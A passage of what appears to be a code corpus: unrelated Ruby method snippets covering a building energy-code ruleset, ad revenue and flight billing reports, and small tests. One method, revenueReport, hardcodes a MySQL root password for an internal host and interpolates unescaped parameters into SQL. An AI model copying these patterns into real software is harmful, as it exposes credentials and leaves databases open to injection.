'LabelField',\n\t\t\t\t\t\t:field_name => 'handling_message'}\n\n \n field_configs[12] = {:field_type => 'LinkField',:field_name => 'item_pack_product',\n\t\t\t:settings => \n\t\t\t\t {:link_text => 'view',\n\t\t\t\t:target_action => 'view_item_pack_product',\n\t\t\t\t:id_column => 'id'}}\n \n\tbuild_form(retail_item_setup,field_configs,\"view_carton_setup\",'retail_item_setup',\"back\")\n \n \n end",
"def NBC_936_2010_RuleSet( ruleType, elements, locale_HDD, cityName )\n\n\n # System data...\n primHeatFuelName = getPrimaryHeatSys( elements )\n secSysType = getSecondaryHeatSys( elements )\n primDHWFuelName = getPrimaryDHWSys( elements )\n\n # Basement, slab, or both in model file?\n # Decide which to use for compliance based on count!\n # ADW May 17 2018: Basements are modified through Opt-H2KFoundation, slabs and crawlspaces through Opt-H2KFoundationSlabCrawl\n # Determine if a crawlspace is present, and if it is, if the crawlspace is heated\n numOfCrawl = 0\n isCrawlHeated = false\n if elements[\"HouseFile/House/Components/Crawlspace\"] != nil\n numOfCrawl += 1\n if elements[\"HouseFile/House/Temperatures/Crawlspace\"].attributes[\"heated\"] =~ /true/\n isCrawlHeated = true\n end\n end\n\n # Choices that do NOT depend on ruleType!\n\n $ruleSetChoices[\"Opt-ACH\"] = \"ACH_NBC\"\n $ruleSetChoices[\"Opt-Baseloads\"] = \"NBC-Baseloads\"\n $ruleSetChoices[\"Opt-ResultHouseCode\"] = \"General\"\n $ruleSetChoices[\"Opt-Temperatures\"] = \"NBC_Temps\"\n if ($PermafrostHash[cityName] == \"continuous\")\n $ruleSetChoices[\"Opt-Specifications\"] = \"NBC_Specs_Perma\"\n else\n $ruleSetChoices[\"Opt-Specifications\"] = \"NBC_Specs_Normal\"\n end\n\n # Heating Equipment performance requirements (Table 9.36.3.10) - No dependency on ruleType!\n if (primHeatFuelName =~ /gas/) != nil # value is \"Natural gas\"\n $ruleSetChoices[\"Opt-HVACSystem\"] = \"NBC-gas-furnace\"\n elsif (primHeatFuelName =~ /Oil/) != nil # value is Oil\n $ruleSetChoices[\"Opt-HVACSystem\"] = \"NBC-oil-heat\"\n elsif (primHeatFuelName =~ /Elect/) != nil # value is \"Electricity\n if secSysType =~ /AirHeatPump/ # TODO: Should we also include WSHP & GSHP in this check?\n $ruleSetChoices[\"Opt-HVACSystem\"] = \"NBC-CCASHP\"\n else\n $ruleSetChoices[\"Opt-HVACSystem\"] = \"NBC-elec-heat\"\n end\n end\n\n # DHW Equipment performance requirements (Table 9.36.4.2)\n if (primDHWFuelName =~ /gas/) != nil\n $ruleSetChoices[\"Opt-DHWSystem\"] = \"NBC-HotWater_gas\"\n elsif (primDHWFuelName =~ /Elect/) != nil\n $ruleSetChoices[\"Opt-DHWSystem\"] = \"NBC-HotWater_elec\"\n elsif (primDHWFuelName =~ /Oil/) != nil\n $ruleSetChoices[\"Opt-DHWSystem\"] = \"NBC-HotWater_oil\"\n end\n\n # Thermal zones and HDD by rule type\n #-------------------------------------------------------------------------\n if ruleType =~ /NBC9_36_noHRV/\n\n # Implement reference ventilation system (HRV with 0% recovery efficiency)\n $ruleSetChoices[\"Opt-HRVonly\"] = \"NBC_noHRV\"\n\n # Zone 4 ( HDD < 3000) without an HRV\n if locale_HDD < 3000\n # Effective thermal resistance of above-ground opaque assemblies (Table 9.36.2.6 A&B)\n $ruleSetChoices[\"Opt-GenericWall_1Layer_definitions\"] = \"NBC_Wall_zone4\"\n $ruleSetChoices[\"Opt-AtticCeilings\"] = \"NBC_Ceiling_zone4\"\n $ruleSetChoices[\"Opt-CathCeilings\"] = \"NBC_FlatCeiling_zone4\"\n $ruleSetChoices[\"Opt-FlatCeilings\"] = \"NBC_FlatCeiling_zone4\"\n\n $ruleSetChoices[\"Opt-ExposedFloor\"] = \"NBC_exposed_zone4\"\n\n # Effective thermal resistance of fenestration (Table 9.36.2.7.(1))\n $ruleSetChoices[\"Opt-CasementWindows\"] = \"NBC-zone4-window\"\n $ruleSetChoices[\"Opt-Doors\"] = \"NBC-zone4-door\"\n $ruleSetChoices[\"Opt-DoorWindows\"] = \"NBC-zone4-Doorwindow\"\n\n # Effective thermal resistance of assemblies below-grade or in contact with the ground (Table 9.36.2.8.A&B)\n $ruleSetChoices[\"Opt-H2KFoundation\"] = \"NBC_BCIN_zone4\"\n if isCrawlHeated\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SCB_zone4\"\n else # There is a crawlspace, but it isn't heated. Treat floor above crawlspace as exposed floor\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SOnly_zone4\" # If there are any slabs, insulate them\n $ruleSetChoices[\"Opt-FloorAboveCrawl\"] = \"NBC_crawlceiling_zone4\"\n end\n\n # Zone 5 ( 3000 < HDD < 3999) without an HRV\n elsif locale_HDD >= 3000 && locale_HDD < 3999\n # Effective thermal resistance of above-ground opaque assemblies (Table 9.36.2.6 A&B)\n $ruleSetChoices[\"Opt-GenericWall_1Layer_definitions\"] = \"NBC_Wall_zone5_noHRV\"\n $ruleSetChoices[\"Opt-FloorHeader\"] = \"NBC_Wall_zone5_noHRV\"\n $ruleSetChoices[\"Opt-AtticCeilings\"] = \"NBC_Ceiling_zone5_noHRV\"\n $ruleSetChoices[\"Opt-CathCeilings\"] = \"NBC_FlatCeiling_zone5\"\n $ruleSetChoices[\"Opt-FlatCeilings\"] = \"NBC_FlatCeiling_zone5\"\n\n $ruleSetChoices[\"Opt-ExposedFloor\"] = \"NBC_exposed_zone5\"\n\n # Effective thermal resistance of fenestration (Table 9.36.2.7.(1))\n $ruleSetChoices[\"Opt-CasementWindows\"] = \"NBC-zone5-window\"\n $ruleSetChoices[\"Opt-Doors\"] = \"NBC-zone5-door\"\n $ruleSetChoices[\"Opt-DoorWindows\"] = \"NBC-zone5-Doorwindow\"\n\n # Effective thermal resistance of assemblies below-grade or in contact with the ground (Table 9.36.2.8.A&B)\n $ruleSetChoices[\"Opt-H2KFoundation\"] = \"NBC_BCIN_zone5_noHRV\"\n if isCrawlHeated\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SCB_zone5_noHRV\"\n else # There is a crawlspace, but it isn't heated. Treat floor above crawlspace as exposed floor\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SOnly_zone5\" # If there are any slabs, insulate them\n $ruleSetChoices[\"Opt-FloorAboveCrawl\"] = \"NBC_crawlceiling_zone5\"\n end\n\n # Zone 6 ( 4000 < HDD < 4999) without an HRV\n elsif locale_HDD >= 4000 && locale_HDD < 4999\n # Effective thermal resistance of above-ground opaque assemblies (Table 9.36.2.6 A&B)\n $ruleSetChoices[\"Opt-GenericWall_1Layer_definitions\"] = \"NBC_Wall_zone6_noHRV\"\n $ruleSetChoices[\"Opt-FloorHeader\"] = \"NBC_Wall_zone6_noHRV\"\n $ruleSetChoices[\"Opt-AtticCeilings\"] = \"NBC_Ceiling_zone6\"\n $ruleSetChoices[\"Opt-CathCeilings\"] = \"NBC_FlatCeiling_zone6\"\n $ruleSetChoices[\"Opt-FlatCeilings\"] = \"NBC_FlatCeiling_zone6\"\n\n $ruleSetChoices[\"Opt-ExposedFloor\"] = \"NBC_exposed_zone6\"\n\n # Effective thermal resistance of fenestration (Table 9.36.2.7.(1))\n $ruleSetChoices[\"Opt-CasementWindows\"] = \"NBC-zone6-window\"\n $ruleSetChoices[\"Opt-Doors\"] = \"NBC-zone6-door\"\n $ruleSetChoices[\"Opt-DoorWindows\"] = \"NBC-zone6-Doorwindow\"\n\n # Effective thermal resistance of assemblies below-grade or in contact with the ground (Table 9.36.2.8.A&B)\n $ruleSetChoices[\"Opt-H2KFoundation\"] = \"NBC_BCIN_zone6_noHRV\"\n if isCrawlHeated\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SCB_zone6_noHRV\"\n else # There is a crawlspace, but it isn't heated. Treat floor above crawlspace as exposed floor\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SOnly_zone6\" # If there are any slabs, insulate them\n $ruleSetChoices[\"Opt-FloorAboveCrawl\"] = \"NBC_crawlceiling_zone6\"\n end\n\n # Zone 7A ( 5000 < HDD < 5999) without an HRV\n elsif locale_HDD >= 5000 && locale_HDD < 5999\n # Effective thermal resistance of above-ground opaque assemblies (Table 9.36.2.6 A&B)\n $ruleSetChoices[\"Opt-GenericWall_1Layer_definitions\"] = \"NBC_Wall_zone7A_noHRV\"\n $ruleSetChoices[\"Opt-FloorHeader\"] = \"NBC_Wall_zone7A_noHRV\"\n $ruleSetChoices[\"Opt-AtticCeilings\"] = \"NBC_Ceiling_zone7A_noHRV\"\n $ruleSetChoices[\"Opt-CathCeilings\"] = \"NBC_FlatCeiling_zone7A\"\n $ruleSetChoices[\"Opt-FlatCeilings\"] = \"NBC_FlatCeiling_zone7A\"\n\n $ruleSetChoices[\"Opt-ExposedFloor\"] = \"NBC_exposed_zone7A\"\n\n # Effective thermal resistance of fenestration (Table 9.36.2.7.(1))\n $ruleSetChoices[\"Opt-CasementWindows\"] = \"NBC-zone7A-window\"\n $ruleSetChoices[\"Opt-Doors\"] = \"NBC-zone7A-door\"\n $ruleSetChoices[\"Opt-DoorWindows\"] = \"NBC-zone7A-Doorwindow\"\n # Effective thermal resistance of assemblies below-grade or in contact with the ground (Table 9.36.2.8.A&B)\n $ruleSetChoices[\"Opt-H2KFoundation\"] = \"NBC_BCIN_zone7A_noHRV\"\n if isCrawlHeated\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SCB_zone7A_noHRV\"\n else # There is a crawlspace, but it isn't heated. Treat floor above crawlspace as exposed floor\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SOnly_zone7A_noHRV\" # If there are any slabs, insulate them\n $ruleSetChoices[\"Opt-FloorAboveCrawl\"] = \"NBC_crawlceiling_zone7A\"\n end\n\n # Zone 7B ( 6000 < HDD < 6999) without an HRV\n elsif locale_HDD >= 6000 && locale_HDD < 6999\n # Effective thermal resistance of above-ground opaque assemblies (Table 9.36.2.6 A&B)\n $ruleSetChoices[\"Opt-GenericWall_1Layer_definitions\"] = \"NBC_Wall_zone7B_noHRV\"\n $ruleSetChoices[\"Opt-FloorHeader\"] = \"NBC_Wall_zone7B_noHRV\"\n $ruleSetChoices[\"Opt-AtticCeilings\"] = \"NBC_Ceiling_zone7B\"\n $ruleSetChoices[\"Opt-CathCeilings\"] = \"NBC_FlatCeiling_zone7B\"\n $ruleSetChoices[\"Opt-FlatCeilings\"] = \"NBC_FlatCeiling_zone7B\"\n\n $ruleSetChoices[\"Opt-ExposedFloor\"] = \"NBC_exposed_zone7B\"\n\n # Effective thermal resistance of fenestration (Table 9.36.2.7.(1))\n $ruleSetChoices[\"Opt-CasementWindows\"] = \"NBC-zone7B-window\"\n $ruleSetChoices[\"Opt-Doors\"] = \"NBC-zone7B-door\"\n $ruleSetChoices[\"Opt-DoorWindows\"] = \"NBC-zone7B-Doorwindow\"\n\n # Effective thermal resistance of assemblies below-grade or in contact with the ground (Table 9.36.2.8.A&B)\n $ruleSetChoices[\"Opt-H2KFoundation\"] = \"NBC_BCIN_zone7B_noHRV\"\n if isCrawlHeated\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SCB_zone7B_noHRV\"\n else # There is a crawlspace, but it isn't heated. Treat floor above crawlspace as exposed floor\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SOnly_zone7B_noHRV\" # If there are any slabs, insulate them\n $ruleSetChoices[\"Opt-FloorAboveCrawl\"] = \"NBC_crawlceiling_zone7B\"\n end\n\n # Zone 8 (HDD <= 7000) without an HRV\n elsif locale_HDD >= 7000\n # Effective thermal resistance of above-ground opaque assemblies (Table 9.36.2.6 A&B)\n $ruleSetChoices[\"Opt-GenericWall_1Layer_definitions\"] = \"NBC_Wall_zone8_noHRV\"\n $ruleSetChoices[\"Opt-FloorHeader\"] = \"NBC_Wall_zone8_noHRV\"\n $ruleSetChoices[\"Opt-AtticCeilings\"] = \"NBC_Ceiling_zone8\"\n $ruleSetChoices[\"Opt-CathCeilings\"] = \"NBC_FlatCeiling_zone8\"\n $ruleSetChoices[\"Opt-FlatCeilings\"] = \"NBC_FlatCeiling_zone8\"\n\n $ruleSetChoices[\"Opt-ExposedFloor\"] = \"NBC_exposed_zone8\"\n\n # Effective thermal resistance of fenestration (Table 9.36.2.7.(1))\n $ruleSetChoices[\"Opt-CasementWindows\"] = \"NBC-zone8-window\"\n $ruleSetChoices[\"Opt-Doors\"] = \"NBC-zone8-door\"\n $ruleSetChoices[\"Opt-DoorWindows\"] = \"NBC-zone8-Doorwindow\"\n\n # Effective thermal resistance of assemblies below-grade or in contact with the ground (Table 9.36.2.8.A&B)\n $ruleSetChoices[\"Opt-H2KFoundation\"] = \"NBC_BCIN_zone8_noHRV\"\n if isCrawlHeated\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SCB_zone8_noHRV\"\n else # There is a crawlspace, but it isn't heated. Treat floor above crawlspace as exposed floor\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SOnly_zone8_noHRV\" # If there are any slabs, insulate them\n $ruleSetChoices[\"Opt-FloorAboveCrawl\"] = \"NBC_crawlceiling_zone8\"\n end\n\n end\n\n #-------------------------------------------------------------------------\n elsif ruleType =~ /NBC9_36_HRV/\n\n # Performance of Heat/Energy-Recovery Ventilator (Section 9.36.3.9.3)\n \t\t$ruleSetChoices[\"Opt-HRVonly\"] = \"NBC_HRV\"\n\n # Zone 4 ( HDD < 3000) without an HRV\n if locale_HDD < 3000\n # Effective thermal resistance of above-ground opaque assemblies (Table 9.36.2.6 A&B)\n $ruleSetChoices[\"Opt-GenericWall_1Layer_definitions\"] = \"NBC_Wall_zone4\"\n $ruleSetChoices[\"Opt-FloorHeader\"] = \"NBC_Wall_zone4\"\n $ruleSetChoices[\"Opt-AtticCeilings\"] = \"NBC_Ceiling_zone4\"\n $ruleSetChoices[\"Opt-CathCeilings\"] = \"NBC_FlatCeiling_zone4\"\n $ruleSetChoices[\"Opt-FlatCeilings\"] = \"NBC_FlatCeiling_zone4\"\n\n $ruleSetChoices[\"Opt-ExposedFloor\"] = \"NBC_exposed_zone4\"\n\n # Effective thermal resistance of fenestration (Table 9.36.2.7.(1))\n $ruleSetChoices[\"Opt-CasementWindows\"] = \"NBC-zone4-window\"\n $ruleSetChoices[\"Opt-Doors\"] = \"NBC-zone4-door\"\n $ruleSetChoices[\"Opt-DoorWindows\"] = \"NBC-zone4-Doorwindow\"\n\n # Effective thermal resistance of assemblies below-grade or in contact with the ground (Table 9.36.2.8.A&B)\n $ruleSetChoices[\"Opt-H2KFoundation\"] = \"NBC_BCIN_zone4\"\n if isCrawlHeated\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SCB_zone4\"\n else # There is a crawlspace, but it isn't heated. Treat floor above crawlspace as exposed floor\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SOnly_zone4\" # If there are any slabs, insulate them\n $ruleSetChoices[\"Opt-FloorAboveCrawl\"] = \"NBC_crawlceiling_zone4\"\n end\n\n # Zone 5 ( 3000 < HDD < 3999) with an HRV\n elsif locale_HDD >= 3000 && locale_HDD < 3999\n # Effective thermal resistance of above-ground opaque assemblies (Table 9.36.2.6 A&B)\n $ruleSetChoices[\"Opt-GenericWall_1Layer_definitions\"] = \"NBC_Wall_zone5_HRV\"\n $ruleSetChoices[\"Opt-FloorHeader\"] = \"NBC_Wall_zone5_HRV\"\n $ruleSetChoices[\"Opt-AtticCeilings\"] = \"NBC_Ceiling_zone5_HRV\"\n $ruleSetChoices[\"Opt-CathCeilings\"] = \"NBC_FlatCeiling_zone5\"\n $ruleSetChoices[\"Opt-FlatCeilings\"] = \"NBC_FlatCeiling_zone5\"\n\n $ruleSetChoices[\"Opt-ExposedFloor\"] = \"NBC_exposed_zone5\"\n\n # Effective thermal resistance of fenestration (Table 9.36.2.7.(1))\n $ruleSetChoices[\"Opt-CasementWindows\"] = \"NBC-zone5-window\"\n $ruleSetChoices[\"Opt-Doors\"] = \"NBC-zone5-door\"\n $ruleSetChoices[\"Opt-DoorWindows\"] = \"NBC-zone5-Doorwindow\"\n\n # Effective thermal resistance of assemblies below-grade or in contact with the ground (Table 9.36.2.8.A&B)\n $ruleSetChoices[\"Opt-H2KFoundation\"] = \"NBC_BCIN_zone5_HRV\"\n if isCrawlHeated\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SCB_zone5_HRV\"\n else # There is a crawlspace, but it isn't heated. Treat floor above crawlspace as exposed floor\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SOnly_zone5\" # If there are any slabs, insulate them\n $ruleSetChoices[\"Opt-FloorAboveCrawl\"] = \"NBC_crawlceiling_zone5\"\n end\n\n # Zone 6 ( 4000 < HDD < 4999) with an HRV\n elsif locale_HDD >= 4000 && locale_HDD < 4999\n # Effective thermal resistance of above-ground opaque assemblies (Table 9.36.2.6 A&B)\n $ruleSetChoices[\"Opt-GenericWall_1Layer_definitions\"] = \"NBC_Wall_zone6_HRV\"\n $ruleSetChoices[\"Opt-FloorHeader\"] = \"NBC_Wall_zone6_HRV\"\n $ruleSetChoices[\"Opt-AtticCeilings\"] = \"NBC_Ceiling_zone6\"\n $ruleSetChoices[\"Opt-CathCeilings\"] = \"NBC_FlatCeiling_zone6\"\n $ruleSetChoices[\"Opt-FlatCeilings\"] = \"NBC_FlatCeiling_zone6\"\n\n $ruleSetChoices[\"Opt-ExposedFloor\"] = \"NBC_exposed_zone6\"\n\n # Effective thermal resistance of fenestration (Table 9.36.2.7.(1))\n $ruleSetChoices[\"Opt-CasementWindows\"] = \"NBC-zone6-window\"\n $ruleSetChoices[\"Opt-Doors\"] = \"NBC-zone6-door\"\n $ruleSetChoices[\"Opt-DoorWindows\"] = \"NBC-zone6-Doorwindow\"\n\n # Effective thermal resistance of assemblies below-grade or in contact with the ground (Table 9.36.2.8.A&B)\n $ruleSetChoices[\"Opt-H2KFoundation\"] = \"NBC_BCIN_zone6_HRV\"\n if isCrawlHeated\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SCB_zone6_HRV\"\n else # There is a crawlspace, but it isn't heated. Treat floor above crawlspace as exposed floor\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SOnly_zone6\" # If there are any slabs, insulate them\n $ruleSetChoices[\"Opt-FloorAboveCrawl\"] = \"NBC_crawlceiling_zone6\"\n end\n\n # Zone 7A ( 5000 < HDD < 5999) with an HRV\n elsif locale_HDD >= 5000 && locale_HDD < 5999\n # Effective thermal resistance of above-ground opaque assemblies (Table 9.36.2.6 A&B)\n $ruleSetChoices[\"Opt-GenericWall_1Layer_definitions\"] = \"NBC_Wall_zone7A_HRV\"\n $ruleSetChoices[\"Opt-FloorHeader\"] = \"NBC_Wall_zone7A_HRV\"\n $ruleSetChoices[\"Opt-AtticCeilings\"] = \"NBC_Ceiling_zone7A_HRV\"\n $ruleSetChoices[\"Opt-CathCeilings\"] = \"NBC_FlatCeiling_zone7A\"\n $ruleSetChoices[\"Opt-FlatCeilings\"] = \"NBC_FlatCeiling_zone7A\"\n\n $ruleSetChoices[\"Opt-ExposedFloor\"] = \"NBC_exposed_zone7A\"\n\n # Effective thermal resistance of fenestration (Table 9.36.2.7.(1))\n $ruleSetChoices[\"Opt-CasementWindows\"] = \"NBC-zone7A-window\"\n $ruleSetChoices[\"Opt-Doors\"] = \"NBC-zone7A-door\"\n $ruleSetChoices[\"Opt-DoorWindows\"] = \"NBC-zone7A-Doorwindow\"\n\n # Effective thermal resistance of assemblies below-grade or in contact with the ground (Table 9.36.2.8.A&B)\n $ruleSetChoices[\"Opt-H2KFoundation\"] = \"NBC_BCIN_zone7A_HRV\"\n if isCrawlHeated\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SCB_zone7A_HRV\"\n else # There is a crawlspace, but it isn't heated. Treat floor above crawlspace as exposed floor\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SOnly_zone7A_HRV\" # If there are any slabs, insulate them\n $ruleSetChoices[\"Opt-FloorAboveCrawl\"] = \"NBC_crawlceiling_zone7A\"\n end\n\n # Zone 7B ( 6000 < HDD < 6999) with an HRV\n elsif locale_HDD >= 6000 && locale_HDD < 6999\n # Effective thermal resistance of above-ground opaque assemblies (Table 9.36.2.6 A&B)\n $ruleSetChoices[\"Opt-GenericWall_1Layer_definitions\"] = \"NBC_Wall_zone7B_HRV\"\n $ruleSetChoices[\"Opt-FloorHeader\"] = \"NBC_Wall_zone7B_HRV\"\n $ruleSetChoices[\"Opt-AtticCeilings\"] = \"NBC_Ceiling_zone7B\"\n $ruleSetChoices[\"Opt-CathCeilings\"] = \"NBC_FlatCeiling_zone7B\"\n $ruleSetChoices[\"Opt-FlatCeilings\"] = \"NBC_FlatCeiling_zone7B\"\n\n $ruleSetChoices[\"Opt-ExposedFloor\"] = \"NBC_exposed_zone7B\"\n\n # Effective thermal resistance of fenestration (Table 9.36.2.7.(1))\n $ruleSetChoices[\"Opt-CasementWindows\"] = \"NBC-zone7B-window\"\n $ruleSetChoices[\"Opt-Doors\"] = \"NBC-zone7B-door\"\n $ruleSetChoices[\"Opt-DoorWindows\"] = \"NBC-zone7B-Doorwindow\"\n\n # Effective thermal resistance of assemblies below-grade or in contact with the ground (Table 9.36.2.8.A&B)\n $ruleSetChoices[\"Opt-H2KFoundation\"] = \"NBC_BCIN_zone7B_HRV\"\n if isCrawlHeated\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SCB_zone7B_HRV\"\n else # There is a crawlspace, but it isn't heated. Treat floor above crawlspace as exposed floor\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SOnly_zone7B_HRV\" # If there are any slabs, insulate them\n $ruleSetChoices[\"Opt-FloorAboveCrawl\"] = \"NBC_crawlceiling_zone7B\"\n end\n\n # Zone 8 (HDD <= 7000) with an HRV\n elsif locale_HDD >= 7000\n # Effective thermal resistance of above-ground opaque assemblies (Table 9.36.2.6 A&B)\n $ruleSetChoices[\"Opt-GenericWall_1Layer_definitions\"] = \"NBC_Wall_zone8_HRV\"\n $ruleSetChoices[\"Opt-FloorHeader\"] = \"NBC_Wall_zone8_HRV\"\n $ruleSetChoices[\"Opt-AtticCeilings\"] = \"NBC_Ceiling_zone8\"\n $ruleSetChoices[\"Opt-CathCeilings\"] = \"NBC_FlatCeiling_zone8\"\n $ruleSetChoices[\"Opt-FlatCeilings\"] = \"NBC_FlatCeiling_zone8\"\n\n $ruleSetChoices[\"Opt-ExposedFloor\"] = \"NBC_exposed_zone8\"\n\n # Effective thermal resistance of fenestration (Table 9.36.2.7.(1))\n $ruleSetChoices[\"Opt-CasementWindows\"] = \"NBC-zone8-window\"\n $ruleSetChoices[\"Opt-Doors\"] = \"NBC-zone8-door\"\n $ruleSetChoices[\"Opt-DoorWindows\"] = \"NBC-zone8-Doorwindow\"\n\n # Effective thermal resistance of assemblies below-grade or in contact with the ground (Table 9.36.2.8.A&B)\n $ruleSetChoices[\"Opt-H2KFoundation\"] = \"NBC_BCIN_zone8_HRV\"\n if isCrawlHeated\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SCB_zone8_HRV\"\n else # There is a crawlspace, but it isn't heated. Treat floor above crawlspace as exposed floor\n $ruleSetChoices[\"Opt-H2KFoundationSlabCrawl\"] = \"NBC_SOnly_zone8_HRV\" # If there are any slabs, insulate them\n $ruleSetChoices[\"Opt-FloorAboveCrawl\"] = \"NBC_crawlceiling_zone8\"\n end\n\n end\n end # Check on NBC rule set type\nend",
"def revenueReport(month, year, typeOfReport, clientId, clientName, basedOn, orderBy, userId)\n #begin\n puts image_name = \"revenue_report_#{clientId}_#{typeOfReport}_#{month}_#{year}_#{basedOn}\"\n month_id = MONTH_HASH[month]\n amount = Array.new #for all clients, impressions will be calculate per month and for a particular adclient, it will be calculate per week \n labels = Array.new\n label_hash = Hash.new\n title = \"Revenue of #{clientName} for the month of #{month}, #{year}\"\n axis_title = \"Amount(in $)\"\n sql = \"select sum(cost) as amount, dayofmonth(delivery_time) as day from adsdeliveries where client_id=#{clientId} and date_format(delivery_time, '%m')=#{month_id} and date_format(delivery_time, '%Y')=#{year} and #{basedOn}=1 group by day\"\n puts \"publisher revenue report-----------#{sql}\"\n #begin\n #amount_sql = @dbh.prepare(sql)\n #amount_sql.execute\n #rescue Exception=>e\n # puts \"An Exception was thrown while executing the sql in revenue report\"\n # @dbh = DBI.connect(DATABASE, USERNAME,PASSWORD)\n # amount_sql.execute\n #end\n begin\n @impressions_active=Adsdelivery.find_by_sql(sql)\n rescue\n Adsdelivery.establish_connection( \n :adapter => \"mysql\", \n :host => \"192.168.1.4\", \n :database => \"zestadz_development\",\n :username => \"root\",\n :password => \"sqlworx@ch\"\n )\n @impressions_active=Adsdelivery.find_by_sql(sql)\n end\n #impressions_sql = @dbh.prepare(sql)\n #\n #impressions_sql.execute\n \n #amount=@impressions_active[0].amount.to_s\n \n \n #note: remove this loop\n @impressions_active.each do |imp|\n amount << imp.amount.to_s\n #impressions << imp.clicks if basedOn=='clicks'\n labels << imp.day\n end\n \n \n # while row=amount_sql.fetch do\n # amount << row[0].to_i\n # labels << row[1].to_s\n # end\n for i in 0...labels.size\n label_hash[i] = labels[i].to_s\n end\n \n create_directory(\"#{@@rails_root}/public/images/reports/\", userId.to_s)\n if(typeOfReport=='Line')\n build_image image_name, userId, amount, label_hash, title, axis_title, nil, 550, true \n elsif(typeOfReport=='Area')\n build_land_chart image_name, userId, amount, label_hash, title, axis_title, nil, 550\n elsif(typeOfReport=='Pie')\n build_pie_chart image_name, userId, amount, label_hash, title, axis_title, nil, 550\n elsif(typeOfReport=='Bar')\n build_bar_chart image_name, userId, amount, label_hash, title, axis_title, nil, 550\n end\n print \"\\nSuccesfully generated the revenue report\"\n #rescue Exception=>e\n # puts \"An Exception was thrown in Revenue Report\"\n #end\n end",
"def populate_elm_stuff\n save\n @populator.populate calculate_solution\n puts 'Packages configured successfully!'\n end",
"def set_defaults\n self.min_service_life_months ||= 0\n self.replacement_cost ||= 0\n self.lease_length_months ||= 0\n self.rehabilitation_service_month ||= 0\n self.rehabilitation_labor_cost ||= 0\n self.rehabilitation_parts_cost ||= 0\n self.extended_service_life_months ||= 0\n self.min_used_purchase_service_life_months ||= 0\n self.cost_fy_year ||= current_planning_year_year\n end",
"def test_DP_20\n path=\"/home/miro/NetBeansProjects/Knapsack/test/\"\n\n p=Solver.new\n\n p.read_problem(path+\"input3\")\n\n assert_equal(1995, p.dynamic)\n\n p=Solver.new\n p.read_problem(path+\"input4\")\n\n assert_equal(2168, p.dynamic)\n\n p=Solver.new\n p.read_problem(path+\"input5\")\n\n assert_equal(2623, p.dynamic)\n\n\n\n end",
"def total_budget=\n\n end",
"def run\n solve(0)\n { price: @best_price, config: @best_config }\n end",
"def admin_aircraft_report\n return unless has_permission :can_do_billing\n @page_title = \"Billing Report\"\n @earliest = FlightRecord.find(:first, :order => \"flight_date\")\n if @earliest.nil? or params[:date].nil? then return end\n\n @start_date = Time.local(params[:date][:year].to_i, params[:date][:month].to_i)\n @end_date = @start_date.months_since params[:date][:range].to_i \n @page_title = \"Billing Report for \" + @start_date.strftime(\"%b %Y\") + \" to \" + @end_date.strftime(\"%b %Y\")\n\n @solo = FlightRecord.sum('hobbs_end-hobbs_start',:group=>:aircraft,\n :conditions=>['aircraft_id is not NULL and instructor_id is NULL and flight_date>=? and flight_date<?',@start_date,@end_date])\n @dual = FlightRecord.sum('hobbs_end-hobbs_start',:group=>:aircraft,\n :conditions=>['aircraft_id is not NULL and instructor_id is not NULL and flight_date>=? and flight_date<?',@start_date,@end_date])\n @charges = FlightRecord.sum('charge_amount',:group=>:aircraft,\n :conditions=>['aircraft_id is not NULL and flight_date>=? and flight_date<?',@start_date,@end_date])\n @aircrafts = Aircraft.find(:all,:conditions=>['deleted=false'],:order=>'identifier')\n \n @solo_total = @solo.inject(0){|s,e| s = s + e[1].to_f}\n @dual_total = @dual.inject(0){|s,e| s = s + e[1].to_f}\n @time_total = @solo_total + @dual_total\n @charges_total = @charges.inject(0){|s,e| s = s + e[1].to_f} \nend",
"def modeler_description\n return \"This measure loops through output_variables, EMS:output_variables and ExternalInterface objects and will create the variables.cfg xml file for BCVTB.\n Those variables need to be in cfg file, being used for data exchange.\"\n end",
"def configure_training_request\n available_ledgers :training_request\n set_training_request\n end",
"def prepare\n super\n\n @test_list = @builder.tests\n\n @test_list.each do |item|\n if @options[\"#{item}_RATIO\"].to_i >= 1\n 1.upto(@options[\"#{item}_RATIO\"].to_i) do\n @tests.push item\n end\n end\n end\n end",
"def metric_config\n # This is bad... but I just want things to work!!!!!\n @mount_dir = ::ArchiveRoot\n\tdefault = Defaults.new\n\tdefault.metric_taxonomy= 'hsa'\n\tdefault.metric_instrument_type = 'ORBI'\n\tdefault\n end",
